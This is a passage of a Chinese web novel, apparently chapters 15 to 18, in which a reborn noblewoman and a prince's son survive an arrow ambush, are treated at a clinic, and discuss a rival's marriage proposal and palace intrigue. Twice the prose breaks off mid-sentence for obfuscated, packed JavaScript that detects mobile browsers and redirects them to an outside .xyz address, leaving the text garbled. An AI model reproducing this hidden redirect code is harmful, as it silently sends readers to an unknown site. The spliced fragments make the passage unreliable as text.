二人一前一后将沈支言护在中间。沈支言肩胛处的伤口不断渗血,半边衣衫早已浸透,却仍紧咬唇瓣不吭一声。眼看巷口在即,忽听墙头传来整齐的机括声,数十名弓箭手骤然现身,寒光凛冽的箭镞齐齐对准了他们。 顿时,破空之声骤起,箭雨如蝗。江义沅厉喝一声“不好”,护着沈支言急退数步。奈何飞矢如蝗,饶是她长剑舞得密不透风,仍有一支冷箭“噗”地钉入沈支言小腿。 沈支言疼得闷哼一声,膝头一软险些跪倒,却死死攥住薛召容的衣袖硬撑着没倒下。薛召容回眸瞥见那支颤动的箭羽,当即反手扣住她的手腕,一把将人提起。 “抱紧。”他低喝一声,挥剑斩落三支流矢,俯身将人打横抱起。 “我断后。”江义沅剑锋横扫,格开数支羽箭,“你带她先走。” “不行,你留下必死无疑,你先走,剩下交给我。”薛召容臂上青筋暴起,将沈支言往怀中紧了紧。少女的血染红了他半边衣袖,温热的液体顺着指缝滴落。 沈支言见江义沅迟迟不动,急得声音都带了哭腔:“姐姐快走,别管我。” 江义沅仍执剑挡在前方,剑锋在月色下泛着寒光。薛召容眸色一沉,厉声道:“你还愣着做什么?还不快走。我便是拼了这条命,也定会护她周全。” 江义沅听了这话,剑花一挽,纵身杀出条血路,转瞬消失在巷口。 巷中黑衣人分作两批,一批追着江义沅而去,余下的将薛召容团团围住。墙头箭矢仍在簌簌落下,薛召容单手抱着沈支言,剑势已见凝滞。 “抱紧我。”他低喝一声,突然收剑入鞘,足尖一点竟抱着沈支言腾空而起。墙头弓箭手见状立即调转方向,一支羽箭破空而来,“噗”地没入他右肩。 薛召容闷哼一声,却借着这股力道跃上屋檐。鲜血顺着他的手臂淌下,滴在沈支言苍白的脸颊上。几个起落间,他已抱着人翻过数重屋脊,最后稳稳落在一匹骏马背上。 “驾!”马鞭扬起,骏马嘶鸣着冲入夜色。 沈支言被薛召容紧紧揽在怀中,能清晰听见他胸膛里急促的心跳。二人衣衫皆被鲜血浸透,却在月下奔逃出一线生机。 骏马在一家医馆前急停,薛召容抱着人闯进去时,那老医师惊得打翻了药碾。 “别问,先救人。”薛召容急喝一声,嗓音已是嘶哑,衣袍上全是暗红的血迹。 老医师慌忙去取金疮药,手抖得几乎捧不住药箱。 薛召容将沈支言轻放在榻上,却见她虽已意识模糊,那只染血的手仍死死攥着他的衣角。 素白锦缎被抓出狰狞血痕,他俯身道:“别怕,马上就好。” “嗯。”沈支言应了一声,瞧着他紧张的神色,安抚他,“我没事,你别担心,你的伤也很严重。” 她自己分明疼得指尖都在发颤,却还强撑着宽慰他。烛火映着她额角的冷汗,像碎玉般莹莹发亮。 她好像比他想象的坚强。 老医师捧着药罐过来,急声道:“公子快帮小娘子褪了外衣,老朽好清理伤口。” 然后又指着他染血的肩头道:“你这箭伤也得尽快处理,快把上衣脱掉。” 薛召容微微一愣,看了看沈支言,沈支言也看了看他,二人脸上一红,都没做声。 屋内一时静极,老医师问:“你们不是夫妻?” 16. 第 16 章 老医师这话问得突然,让屋内二人俱是一怔,竟一时没有回上话来。 老医师细细打量他们的神色,这般说不清道不明的微妙情状,纵非夫妻,必也是情深意重的眷侣。 念及他们伤情严重,容不得多思量,老医师便对薛召容道:“公子且过来,让姑娘趴在你身上,老朽好为她缝合伤口。待处置完她的伤,再为你医治。” 薛召容缓了下神,应声走上前,小心翼翼地将侧卧的沈支言扶起,而后在她身旁坐下。 沈支言抬眸看他,撞上他的目光又垂下眼来。 明明两个人一句话也没说,却像说到了什么尴尬的话一样,都闪躲着彼此的目光。 老医师拿着工具看了看他们,见他们远远地坐着,不免递给薛召容一个眼神。 薛召容看到这个眼神,动身往沈支言跟前挪了挪,伸手将她揽入怀中,让她的下巴枕在自己的肩膀上,一双手虚虚地环着她,没敢落在她身上。 沈支言的脸碰上他的脖颈,心头一麻,不禁抓住了他的衣衫,他的衣襟间萦绕着淡淡的檀木香,清冽宁神,很是好闻。 起初贴着他脖颈的肌肤只是微温,渐渐地开始灼热起来,他的呼吸也开始乱了,一下一下拂在她耳畔,连带着脊背也绷得僵直,偏又强自克制着,不敢动弹。 方才她还疼得浑身发颤,此刻伏在他怀中,竟莫名地舒缓许多。 房间里很安静,只有医师准备医具的声响。 薛召容贴着她,能闻到她发间淡淡的清香,她整个人软软地趴在他的怀中,就像一团软软的云絮,软得让他心绪不受控制地跳动。 老医师端着药盘过来,执起银剪,将沈支言背上染血的衣衫轻轻剪开。 药酒沾上伤处的刹那,沈支言身子猛地一颤,十指骤然收紧,死死攥住了薛召容的手臂,冷汗也开始顺着苍白的脸颊滚落,连呼吸都带着细碎的颤抖。 薛召容被她抓得臂上一疼,低头瞧见她咬唇忍痛的样子,心头蓦地一软,手臂不自觉环紧了她的腰肢。 她的脸颊埋进他的颈窝里,强忍住疼痛没有出声。 老医师一面往伤处敷着麻沸散,一面摇头叹道:“姑娘这伤不轻,纵使用了麻药,估计缝合起来也要吃些苦头。” 毕竟是养尊宠优的女子,哪受过这般疼痛。 沈支言咬着牙依旧一声不哼,只是银针穿皮而过时,整个人绷得就像一张拉满的弓,火烧火燎的痛感让她连呼吸都是艰难的,紧抓着薛召容手臂的指尖几乎掐进他的皮肉里,就连身子也不由自主往他怀里瑟缩。 “姑娘别动!”老医师急声喝止,又对薛召容道,“公子且抱稳些,千万不能挪动,忍过这阵便好了。” 薛召容慌忙搂紧了她,一手抚上她的脑袋安抚着。 有了他的安抚,沈支言放松了许多,强忍着没再动。只是银针穿梭十余次后,她终是熬不住了,蓦地低头咬住薛召容的肩头,狠狠地咬了他一口。 利齿没入皮肉的瞬间,薛召容闷哼一声,闭了下眼睛,却又将人搂得更紧一些,任由她咬着不松口。待老医师将她肩上伤口处置完毕,她才松开,鬓边秀发早已浸湿,湿漉漉的黏在他颈间,洇开一片凉意。 薛召容原以为这般娇弱的姑娘,遭此大痛定会泪落如雨,却不想她竟未落半滴眼泪。这般韧劲,不禁让他心头掠过一丝讶异与怜惜。 老医师开始去处置她腿上的箭伤,那支羽箭入肉极深,银刃剜开皮肉时,她骤然攥紧薛召容的衣襟,痛极唤了声:“薛召容……” 话音未落便化作一声呜咽。 薛召容听着,喉间发紧,指尖穿过她汗湿的发丝,一下下轻顺着,似安抚受伤的猫儿:“再忍忍,就快好了。” 她能撑到现在,心性已是极强。 老医师利落地为她包扎完腿上的箭伤,长舒一口气,转而对薛召容道:“姑娘的伤已处置妥当,该公子了。”说着指了指他染血的衣袍,“快将衣衫褪下罢。” 他还紧紧搂着沈支言。 他应了声,轻轻松开她,微微侧身,解开衣衫,一件一件脱下来,待脱到最后一件时,却因背上长剑牵动伤口,眉峰骤然一紧。 老医师瞧着他吃疼的样子,忙伸手替他褪下最后那件衣袍。 他背上的箭扎的很深,伤口若是再偏半寸,恐怕就要贯穿他的心脉。 老医师叹气道:“年轻人当真硬气,这般重伤竟能撑到现在。” 薛召容听闻这话只是挑唇一笑,谁又知晓,这样的伤对他而言不过是家常便饭。 沈支言望着他,心中甚是酸涩,这般险些要命的箭伤,他竟是从始至终未哼过一声。 前世,那些耳鬓厮磨的夜里,他总爱将她整个裹在怀中,宽阔的胸膛贴着她的背脊,教人无端生出几分安心的错觉。只是,即便身体再强壮,也经不住这般折腾。 老医师执起药钳,沉声道:“公子这箭伤入骨三分,拔时须得万分谨慎。姑娘且握紧他的手,伤重之人若能抓着什么,便多了几分熬过去的勇气。” 听老医师这语气,好像没有把握似的,不禁让沈支言紧张起来。她伸了伸手,覆上他的手掌。 她的手莹白纤巧,被他修长白净的手指衬得愈发玲珑。两只手相触的刹那,二人俱是一怔,都僵挺着没有动。 过了一会,沈支言动了动手指,薛召容以为她要收回,蓦地将她的手握进掌心里。 她只觉心头一颤,不敢再动弹。 房间里很安静,老医师凝神屏息,银钳夹住剑刃缓缓外拔。那长箭每抽出一分,薛召容额间青筋便跳动一下。 沈支言见他面上血色尽褪,豆大的汗珠顺着下颌滚落,她含在眼眶里的泪水几欲决堤。 老医师将长箭拔出,急取纱布按压伤口,直到血色渐止,银针才穿皮而过,一针针将那道险些夺命的伤口细细缝合。 薛召容的衣衫已被汗水浸湿,却始终紧抿着唇,连半分痛呼都不曾溢出。他这般隐忍的模样,教沈支言心头酸胀得发疼。 前世便是如此,纵使伤到血流不止,他也只是蹙眉忍下。即便受了天大的委屈,也从不与人言说。他越是这般坚毅,反倒愈发惹人心疼。她那些藏在骨子里的柔软心肠,似乎全数都给了他。 他抬眼望她,四目相对的刹那,她强忍多时的眼泪终是落了下来。她慌忙低头,怕他瞧见她落泪的模样。 “哭什么?”他的嗓音已经沙哑,唇角牵起一抹苦涩,“我这不是好端端的?待伤口缝合便无碍了。” 方才她自己伤得那般重都不曾落泪,此刻倒为他落起泪来。 沈支言垂首应着,泪珠却簌簌落个不停。她这眼泪哪里是为了皮肉之苦,分明是前世血泪交织的痛楚,今生步步惊心的惶然,让她突然支撑不住了。 自重生以来,她夜夜辗转反侧,将前尘旧事翻来覆去地嚼碎了咽下。可她一介闺阁女子,纵使窥得天机,又能撼动多少命数? 今日不过一场寻常灯会,长兄便下落不明,她和义沅姐姐险些丧命,连薛召容都因她受下了这险些要命的伤。 她指尖掐进掌心,喉间哽得生疼。明明重活一世,却仍似蜉蝣撼树,这世间因果轮回,岂是她这点微末之力能扭转的? 可,她又不得不去扭转。 恰是他这一眼望来,教她强撑多时的防线骤然溃散。 前世,每当他瞧见她落泪,总会捏着她的下巴强迫她抬头。那双清冷的眸子会陡然沉下来,带着不容抗拒的力道问:“谁给你委屈受了?说出来,我替你讨回来。” 可她偏偏倔得像块石头,任心里翻江倒海,也咬死了不肯吐露半字。 她越是这般,他眼底的温度就褪得越快。她知道他气什么,气她宁可把苦楚硬生生咽下,也不肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556224|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分他半分。 这般生分的相处,倒像是连听她诉苦的资格都没有。于是那些没说出口的话,终究化作横亘在两人之间的寒冰。 他退一步,她退十步,最后竟退到连对视都成了奢侈。 前世,有一日,熙攘的长街上,她忽被一位白发萧然的老者拦住。那老者枯瘦的手指攥住她的袖角,眼窝里两点浊光倏地亮起来,对她道:“姑娘,你命里有一劫。” 命里有一劫? 老者的话劈头落下,惊得她倒退半步。青天白日里,这话活像道阴雷砸在耳畔。 她蹙眉抽袖要走,老者却蹒跚追着喊:“姑娘!这灾星当头不好过,须得等七日之后,天上参商二星分开才能破解。” 荒谬。 当时她只觉得荒谬。 可那日归府后,老者的话如附骨之疽,始终萦绕在心头。待到第七日,她终是坐立难安,跑到院中,仰首望天。 夜浓如墨,连一丝月色也无,唯有寒风穿庭而过,卷起她单薄的衣角。 她在院中站了许久,直至更深露重,夜空中才隐隐现出两点微光,是两颗星星。 那两颗星星紧紧相依,如命运纠缠,看似难分。她攥紧袖角,指尖冰凉,固执地等了一夜,直至东方既白,星辉湮灭,那两颗星星都没有分开。 当时她心口骤然发紧,虽仍不信鬼神之说,可府中种种异状,却似印证着什么。 果然,后来断头台上的血光,终是应验了那句谶语。 这世间玄奇之事,原比她所想更诡谲莫测,否则,重生之事,又怎会落在她身上? 这一刻,她心口如压千斤巨石,教她难以喘息。 老医师为薛召容缝罢伤口,出门去给他们熬药。 老医师出去后,屋内霎时静了下来。二人静坐床榻,俱是满身绷带,着实令人心疼,且又那么狼狈。 纱灯昏黄,映着二人沉默的影子。沈支言垂眸,发觉自己的手仍被薛召容紧紧攥着,掌心相贴处洇着薄汗。她指尖微动,缓缓抽离,那温度便一寸寸凉了下去。 薛召容俯身拾起落在地上的衣衫,绫罗上血迹斑驳,甫一展开,浓重的血腥气便扑面而来。 他很爱干净,素来衣着一尘不染,此刻对着这猩红狼藉的衣裳,踌躇起来。手指悬在半空良久,终究没能将那血衣披在身上。 沈支言知晓他素来爱洁,轻声道:“不如你先向大夫借件衣服穿上,再遣人去太傅府报信,好让人过来接我们。” 眼下夜黑风高,他们身上都有伤,若贸然出去,只怕再有危险,也不知那些黑衣人是否已经追了过来。 薛召容低头看了眼自己裸露的上身,耳尖倏地红了,低低应了一声,起身走到桌前,斟了盏温茶又走回榻前,将茶盏递到她面前。 沈支言接过茶盏喝了几口,又把茶杯递给他。他接茶盏时,指尖不经意擦过她的手背,触到的是一片微凉。 他将榻上锦被扯到她面前,低声道:“你先躺下休息,我去去就回。” 他很细心。 他说罢,将茶盏搁在案上,赤着上身就要出去,还未走到门前又停了下来。 他转身望向她,默了片刻,突然道:“今日你表哥同我说,他准备向你求亲。” 求亲? 沈支言本来就要躺下了,一听这话骤然僵住,惊讶地看向他。 他见她看来,朝她走近几步。 他本就生得极好,芝兰玉树,骨相清贵,在京城里算得上一顶一的好皮囊。时下又赤着上身,披着墨发,更是增添了几分勾人的魅惑。 还有他那双眼睛,专注望她时,总带着一丝侵略性,教她心乱,教她难以招架。 她呆愣着一时不知要说什么,毕竟这话从他嘴里说出来太突然了。 他见她不语,又说了一句:“若他当真向你求亲,你先别答应。” 17. 第 17 章 别答应? “为何?”沈支言脱口问他。 她本就因他说出表哥求亲一事感到惊讶,孰料他竟还让她莫要答应。 房间里一时静得出奇。 薛召容不想她直接问原因,动了动唇又闭上了,望着她那双惊讶而又盈盈的眼眸,半晌也没说出来原因。 说来也奇怪,自从何苏玄在巷子里与他说出求亲的话后他就烦躁的不行,出了巷子就准备去一趟太傅府,想要瞧瞧她有没有安全到家,两条路他又偏偏走了西边那条,结果就遇到了她与江义沅被人堵在巷子里砍杀。 就是这么巧,好似冥冥中注定的一样。 更奇怪的是,他方才还好好的,只是门还未出去,脑子里就蹦出何苏玄那句求娶的话。 他这脑子,怕是出问题了。 他迟迟不说原因,沈支言亦不再追问,只缓缓收回视线,侧身躺下。 气氛突然有点尴尬。 过了一会,沈支言见他依旧没有动静,转头悄悄看了一眼,只见他仍立在原地,眸色幽深难辨,似有万千思绪翻涌。 他有点奇怪。 她继续翻身朝里,良久,身后才传来他的声音,嗓音比先前清润了一些:“你给我五日的时间,五日之后我告诉你缘由。这五日里……” 他顿了顿,欲言又止。 她听闻这话便又撑起身子坐了起来,目光落在他略显局促的面容上,等着他继续往下说。 他望着她那张讶疑的小脸,动了动唇接着道:“这五日里,我希望每天都能见到你。你若有什么麻烦,只管告诉我,我替你解决。若是想吃什么、想去哪儿,也尽管同我说,我都会满足你。” 他…… 这话冷不丁从他嘴里说出来,就像大晴天下大雪一样。 沈支言凝视着他,试图从他眼底窥见些什么。细细看来,神态与前世有几分相似,却又隐隐透着不同,那股纠结矛盾之感,让她一时难以分辨。 若他也是重生而来,以他的性子,断不会如此踌躇。可若说他并非重生,这般言行举止却又处处透着古怪。 她好奇问他:“薛公子,你是如何认识我的?” 前世他们从相识到订婚,见面的次数屈指可数。 他走到桌前扯了把椅子坐下,就这般赤着上身与她面对面坐着,让她挺不好意思的。宽肩上还有被她咬出的牙印。 他低声回道:“十岁那年我随父入宫,曾遇见过你。不知你是否还记得,那时你给我糕点吃,还说要与我做朋友。可后来你去了外祖家,我们三年再未得见。” “再相逢时,已是前年的春日宴上。那时的你与幼时大不相同,我远远望着你,未去与你打招呼,心想着经年未见,你大抵早将我忘了。” “而后便是那日你去酒楼替江姑娘来见我。细算起来,我们真正相见的次数,只有几次。” 确实只有几次,只是她儿时与他相见时年岁还小,几乎都忘记了,印象最深刻的还是前年的春日宴上。 那时候他站在人群中,那身矜贵与众不同的气质,吸引了她。 时下,她细细端详着他说话时的神情,字字句句皆坦荡自然,倒不似作伪。如此这般看来,他应当并非重生,不然依前世二人那般纠缠的关系,他早就一把捏住她的下巴强迫她不要答应表哥的求亲,而并非这般心平气和地让她别答应。 思及此,她心下反倒松快几分,不重生也好,总好过他带着前世那般血淋淋的记忆活着。前世他至死都未曾有过一日舒心的日子,这一世但愿他能好过些。 正出神间,忽听他反问她:“那你呢?是何时识得我的?那日共膳,你连我饮酒后心口作痛的旧疾都知晓,这些又怎知的?” 她对他的态度,不像只见过几面。 他这么一问,沈支言无意识地捻了捻被褥。重生之事太过离奇复杂,告诉他只会徒增烦扰,且又显得荒谬。她略一沉吟,便道:“我也是前年的春日宴上认识你的,后来听家中父兄闲谈时提及你饮酒不适,便记下了。” 她一直低着头不看他。 他瞧着她闪躲的样子,不太相信,即便真是听来的,能将这些琐事记得这般清楚,倒不似对待陌路之人的态度。还有她看他的眼神,绝非只是几面之缘。 “仅此而已?” “仅此而已。”她岔开话题,“夜里寒凉,你且去寻件衣裳披上罢。至于表哥求亲之事,我自会斟酌。况且,我现在也无心婚嫁。” 她只想阻止前世悲剧的发生,不想再讨论儿女情长。 她这般应承,算是遂了他的意,但是他心头却莫名泛起些说不清的滋味来,既非欣喜,亦非烦闷,倒像是被谁在心尖上轻轻掐了一把。 奇怪的很。 他兀自陷入沉思,竟浑然未觉自己此刻正赤着上身,与一个未出阁的姑娘共处一室。 沈支言虽在前世见过他不着衣衫的模样,但是现在他这般明晃晃地坐在眼前,仍让她耳根发烫,心里发慌。她催道:“你快些去更衣罢,待会儿,我也有话要同你说。” 薛召容缓过神,低应一声,起身出了房间。不多时,他从大夫那里借来一件素衫换上,又寻了件大夫夫人的干净衣裙回来。 他将衣衫搁在榻边,对沈支言道:“衣裳是干净的,你先换上。” 沈支言不想他也给自己找了件,看了眼衣衫,又望向他身上那件明显不合身的青衫。大夫的衣裳穿在他身上短了一截,袖口紧绷绷地箍在腕间,倒显出几分难得的局促。 “这衣裳是小了些。”他不自在地扯了扯衣襟,“暂且将就着罢,总归是干净的。” 对他而言,干净比什么都重要。 沈支言听闻不由莞尔,这人通身的气度,岂是件不合身的衣裳能遮掩的。 她试着撑起身子,却牵动伤口,疼得眉心一蹙。薛召容见状上前搀扶她,见她连手臂都抬不起来,问道:“你自己能换么?” 沈支言又试着抬了抬手臂,不禁倒抽一口凉气。肩头肿得厉害,连指尖都是麻的,好像没办法换衣服。只是黏腻的血渍粘在身上很不舒服,也有很冲的血腥气。 她微蹙秀眉,道:“不若回府再换罢。你可曾派人往太傅府递消息?” 薛召容回道:“让大夫寻来一人去了。今日之事非同小可,你可知是何人要加害于你们?” 沈支言摇头:“我们方前在街上遇着个窃贼,那人偷了和都县令千金的钱袋,后来被义沅姐姐当场拿住。官兵将人带走后,我在地上捡了一枚扣子。” 她说着,从袖中取出那枚铜扣递过去:“这样式我瞧着古怪,偏又有些眼熟,一时想不起在何处见过。我疑心今夜这批黑衣人与那贼人有关。那人身手矫捷得不似寻常盗匪,倒像是专程来引开我们视线的。” 薛召容将那枚铜扣置于灯下细看。金属打造的扣面上,一只虎头栩栩如生,连须发都雕得纤毫毕现,这等工艺绝非寻常匠人所能为。这好像是某种组织印记,只是他竟从未见过,倒是沈支言说瞧着熟悉。 “今日我与表哥在湖边时。”沈支言继续道,“表哥去买点心,忽有个小童跑来传话,说有人寻我。那孩子指向一处胡洞口,确见一名身着黑衣的挺拔男子立在那儿。我让小童唤他过来,那人却转身进了胡同离开了。” “那人也是一袭黑衣,身形与今日那盗贼颇为相似。再想今夜这些黑衣人,装束竟都如出一辙。或许他们是同伙密谋,分批设局引开我们,再下杀手。只是光天化日之下,在闹市行凶,连巡城司官兵都不放在眼里,若非早有安排,岂敢如此猖狂?今日原只是临时起意出游,未料竟惹出这般祸事。” “你当真以为赏灯一事是临时起意?”薛召容突然问,“今日在太傅府时,我原说要带你去西月湖看烟花,连酒楼都包下了,结果你转头就要同表哥去看灯会。” “我还不是忧心你的伤,那花架砸下来时,钉子扎得那样深,任谁见了都心疼。我怎忍心让你带着伤陪我去看烟花。” 那样显得她多不懂事。 可她这话一落,屋里倏然衢静。 谁也未料到话题竟扯到这事上来,两个人都愣了下,气氛立时变了。 过了一会,薛召容将那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561759|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扣子收了起来,不自觉地扬了下唇角,清声道:“此事非同小可,光天化日对朝廷命官下手,绝非寻常人所为。你放心,我定会查个水落石出。天很晚了,你现在可觉着饿?我去寻些吃的给你。” 时已三更,沈支言浑身疼得厉害,困倦地摇头:“不饿,就是乏得很。”说着望向窗外沉沉夜色,“不知府里的人何时才能来接我们。” 她衣衫被血渍黏着难受,想换不得换,想睡又疼得睡不着,着实心烦。 薛召容知晓她有些难撑,到底是金尊玉贵养大的官家小姐,那身染血的衣衫不仅瞧着骇人,穿在身上也极为不适。 他低声道:“大夫和他夫人已经歇下。这医馆狭小,统共就两三间屋子,连个药童都没有,一时也寻不到女子来替你换衣,不然我……” “不用。”沈支言立马打断他下面要说的话,“不必把我想得这般娇气,这衣衫虽染了血,气味重些,倒也将就得。府里的人应该快到了,我再坚持坚持。” 总不能让他替她换。 “他们今夜不会来。我只让人去府上报了平安,说你与我在一起很安全,并未让他们来接,也未告知他们我们在何处。” “嗯?” 沈支言疑惑地去看他。 薛召容:“你兄长一家下落不明,如今府上怕是早已乱作一团。你与江姑娘今日当街遇袭,显是被人盯上了。如今你伤势这般重,若贸然回府,只怕再生变故。不如先在此歇一晚,明日随我去别院小住几日,那里清净,也安全些。” “……”沈支言一时语塞,而后道:“但此事并非躲一两日便能了结的。有些事,我需回去与父兄商议。今日蒙你相救,又累你负伤,我心中感激。可你也瞧见了,太傅府如今自身难保,若亲王府有意联姻,怕也难从中得益。想要化解危局,不如另寻他法。” “日后你也莫要再来寻我了,两府关系本就微妙,如今又逢这般境况,我不想牵连于你。也望你与王爷商议,莫要为难义元姐姐成婚。她志不在此,自有抱负,我不愿见她囫囵嫁了。当然,若亲王府有需要,太傅府必当竭力相助。” 她…… 她都伤成这样了,竟还能说出这般疏离冷静的话来。这般心性,倒与他印象中文弱娇怯的闺阁小姐大不相同,反倒显出几分聪慧坚韧来。 记得前年见她时,她还是副明媚模样,笑起来眼波潋滟,说话时神采飞扬。怎的如今眉间总凝着愁绪,眸子里总藏着心事? “可是因着你表哥的缘故不愿理我?”他问她。 他说话总是这么直接,让人毫无准备,方才她说了这许多,他竟半句未听进去么?怎么又扯起表哥? 他见她蹙眉,自顾自道:“今日你表哥同我说话时语气不好,看我的眼神也带着敌意。还追问我何时与你相识的,想来是很介意我接近你,原因应是他很喜欢你。不过,我也同他说了让他试试看,试试能不能娶到你。” 沈支言:“……” 她很困惑,他虽性子刚强,却也不至于因着几面之缘,就与表哥生出嫌隙。总不能这才与表哥刚见了几次面,就像前世那般讨厌他吧! “我讨厌你表哥。”他直截了当的说。 “......为什么?” “不清楚。” 不清楚? “歇着吧,医馆就这一间空房,你睡床,我在这守着你。”他抬手扫灭了蜡烛,屋内霎时陷入黑暗。 她总觉得他不对劲,又说不出哪里不对劲。 想想前世,两个人相处就很别扭,交流时从来都是各说各的,好像心都不在一处,有些话道出来总和本意不同。 或许这就是他们前世的问题,不然夫妻俩日子也不会过成那般。 有些人天生如此,不会与人相处,说出来的话总让人难以理解。偏偏他们两个又那么相似,但凡有一个会引导的,也不至于总把话题聊死。 屋里又黑又静,她缓缓躺下,一点困意也没有了。 他伤的也不轻,总不能让他就这么坐一夜。 可是,屋里越是安静,气氛就越不对。 18. 第 18 章 沈支言躺在床上,阖目良久却无半分睡意。她侧首望向案几旁那道身影,只见一抹清隽轮廓。 她心下辗转,终究难安。大哥大嫂一家处境未卜,若当真有个闪失,这该如何? 思及前世亲王府倾覆之时,太傅府亦未能幸免。记忆中最痛彻的,莫过于上断头台时,他们太傅府一家老小都被关进了大牢。 而眼下情势已容不得半分迟疑,若再任其发展,只怕又要重演那血泪交织的惨剧。 权倾朝野的薛亲王其势力一日不除,这江山便永无宁日。一山不容二虎,皇帝怎么会允许一个亲王权势滔天。 而薛亲王又对嫡长子薛廷衍极为倚重,几乎将所有权柄都交给了他,便是薛召容立下的赫赫战功,到头来也全成了他的功绩。薛亲王这是在亲手雕琢一个未来的帝王,一个若自己无缘大位,能将其推上龙椅的帝王。 皇权之争向来如此,父子相疑、兄弟阋墙,几乎可以用残忍形容。 如今亲王府频频向太傅府与将军府示好,其心昭然。若她或义沅姐姐当真有一人嫁入亲王府,亲王府的势力必将如虎添翼。 而这般动作,又岂能瞒得过那位九五之尊?天子坐明堂,眼观八方,或许亲王府的一举一动,早已被纳入帝王筹谋之中。 今日这场变故,未必不是皇家手笔。要撼动根深蒂固的亲王府谈何容易?倒不如从他们这些依附的臣子身上层层剥茧。 近日翰林院学士有意告老还乡,兄长沈支禹有望胜任,可基于他们与亲王府的微妙关系,皇家岂会轻易应允? 前世此时,大哥突然被调任外放,待归来时,翰林院早已易主,而后不过年余,亲王府倾覆,太傅府与将军府也接连遭殃。 天子手段雷霆万钧,就那般将盘根错节的势力连根拔起,野心勃勃的薛亲王最终还是未能斗得过皇上。 思及此,她只觉胸中窒闷难当。如今这局势,但凡与亲王府有半分牵扯,便是将全族性命悬于刀锋之上。 她凝神思忖,不觉轻叹一声。屋内静极,这声叹息便格外清晰。薛召容闻声问她:“怎么了?可是身子不适?” 她摇头,撑着身子坐起,望向他挺拔的身影,轻声道:“只是难以安眠。有桩事,想与你说说。” “好,你说。” 沈支言:“近日你与我二哥接的皇差,恐是局中局,需得你与二哥细细商议,万不可贸然行事。这桩命案看似简单,实则暗藏玄机,皇家步步设套,稍有不慎便会深陷其中。” “此案关键在于那死者嫂嫂身上,若能寻得此人,或可破局。你们查案的行踪估计早已被人盯上,不若先暂且寻个由头推掉,然后专注府中事宜。你在亲王府中,许多事身不由己,多是因你父亲太过强势,但是我希望你能争取到一些利己的权力。” “淑妃与太师府那边,也需得你多留心。过几日就是太师的寿辰,届时虽未必邀你,但你要想办法进去。太师府与后宫牵连甚深,若无十足把握,很难撼动,或许生辰宴就是一个发现有力证据的机会,你要把握住。” 薛召容静静听她说完,更是确定她并非寻常,应是与他有着同样奇怪的记忆或未卜先知的能力。他不打算这个时候寻问她,因为依他们目前的关系,她定然不会说,也有可能把他推得更远。 他思忖片刻,应道:“好,你说的这些,我都记下了。往后你若有什么要提点的,尽管直言。这几日,我都会守在你身边。” 他说这几日都会守在她身边,这句话让她有些意外,前世与他相处年余,却从未听过这般亲密的言语。 她在心中轻叹,轻声道:“天光尚早,夜里寒凉。你身上带伤,不如先把被褥铺在地上迁就一夜。” 到底是不忍心的。 他却回道:“不用,这点伤算不得什么。” 处理完已经好多了,他也早已习惯了伤痛。 他拒绝,她也不再多言,阖目躺下。半梦半醒间,刑场上的血腥气又漫了上来,刽子手的刀锋映着惨白的日光,梦境反复撕扯,她在冷汗涔涔中辗转,直到一缕晨光刺破黑暗,方又睁眼。 薛召容正坐在榻边,手中绞着一方湿帕子。她想开口,喉间却似堵着团火,只溢出几丝气音。 薛召容见她醒来,将湿了的帕子覆在她额上,道:“你发了高热,药就快煎好了,待会喝下就会舒展些。” 她艰难地动了动唇,依旧发不出声来。 他取来软枕垫在她腰后,清声道:“大夫说你这身子受不住伤,反反复复地发热也是常理,熬过这几日便好了。” 他对于伤后症状倒是熟悉,自己这副身板几乎练就了钢铁不坏之身,时下也胀痛得厉害,不过能忍。 她望着他担忧的神色,微微蹙起眉头,勉强开口道:“既如此,为何不送我回府?家里有更好的大夫。” 她现在很想回家。 “我怕回去有闪失。”他道。 “那是我的家,哪还有比家更安全的。” 家。 可是于他而言,家从来不是安全的。往日受伤,他宁肯躲在偏僻的院落里独自舔舐伤口,也绝不敢轻易归家。因为在父亲眼中,受伤就是无能的表现,家并不是可以疗伤的地方,还可能是受罚的地方。 所以,他本能地把她留在了这里,觉得待在自己身边最安全。 沈支言望着他晦暗不明的神色,倒也明白,于他而言,“家”从来不是温暖的港湾。她自幼承欢父母膝下,得兄长呵护,遇事自然想着归家求庇佑,可他却恰恰相反。 “先给我倒杯水吧!”她干裂的唇瓣微颤,嗓音嘶哑得不成样子。 他闻言立即转身斟茶,小心翼翼地托着她后背将其扶起,然后把茶杯递到她唇边。 温水入喉,她这才觉出几分清明。时下她整个人滚烫得厉害,倚在他怀中,连他的衣襟都被她煨得温热。 “是我不周全。”他带着歉意道,“只觉自己能熬过去,却忘了你与我不同。缓一会我便送你回府。” 他从前未与女子接触过,好像很多事情并非他想象的那么简单,他们生活的环境不同,性别不同,所承受的能力也不同。 她见他不似前世那般执拗的模样,这般带着点歉意倒是有几分随和。 现在想想,或许他本就是个有温度的人吧!只是在冰冷的地方待久了,只是在糟糕的婚姻里伤透了,才变得那么冷漠,那么霸道。 看看现在,在成婚之前,他还是可以与她心平气和交谈的,也会表现出温柔的一面。 终归还是那场不顺心的婚姻生生把人磨疯了。 在那场婚姻里,他何尝不是个受害者。 他见她满眼复杂地瞧着自己,耳根倏地红了,目光不自觉地望向她因高热被烧得极艳的嘴唇。 那唇,比熟透的樱桃还要好看。 他好像知道是什么味道,也好像再尝一尝才能确定。 